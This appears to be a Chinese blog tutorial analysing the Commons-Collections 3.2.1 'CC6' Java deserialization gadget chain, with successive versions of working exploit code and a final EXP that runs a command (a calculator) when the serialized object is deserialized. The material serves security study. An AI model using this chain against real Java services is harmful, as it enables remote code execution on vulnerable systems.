前言
在前两篇的CC1的Tranformber和LazyMap链其实都存在着一个问题,就是前两个链都在jdk8u71后被修复了,那么有没有一条不受限制JDK版本的CC链呢?当然是有的Commons-Collections6就是
这个链其实就是HashMap,也就是最开始的URLDNS链,CC6 链的前半条链与 CC1 Lazymap链子是一样的,也就是到 LazyMap 链
CC6分析
环境
JDK版本
因为我本机有个新的jdk1.8.202,此链又是不限jdk版本的,遂就使用这个版本了
Maven导入
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
尾部exec方法
尾部和cc1其实一样,代码可以直接照搬过来
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> lazyMap= new HashMap<>();
|
然后其实这个链就是TiedMapEntry里 getValue()
方法调用了 LazyMap
的 get()
方法
看到这里就很简单了,我们用 TiedMapEntry
写一个 EXP,确保这条链子是能用的。
成功弹出计算器~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap= new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); tiedMapEntry.getValue();
}
|
但是这里有个问题,刚序列化就弹计算器了,原因和URLDNS链差不多
解决刚序列化就弹计算器&&反序列化不弹
调用put方法时他这里也调用了hash,那么我们和URLDNS链那里一样的,用反射让它put的时候不要触发链。
序列化就弹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap= new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"test");
Class c = lazyMap.getClass(); Field declaredField = c.getDeclaredField("factory"); declaredField.setAccessible(true); declaredField.set(lazyMap,chainedTransformer);
serialize(map2);
}
|
现在序列化的时候就不会触发链了,但是问题来了,我们反序列化时候也不会弹。。。这是为啥嘞?打个断点跟进去看。
这里在put的时候会给lazymap添加一个key,那我们把它删掉就可以了
这样就成功的弹出了计算器
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap= new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"test");
lazyMap.remove("test"); Class c = lazyMap.getClass(); Field declaredField = c.getDeclaredField("factory"); declaredField.setAccessible(true); declaredField.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin"); }
|
总结
入门后越来越简单咯!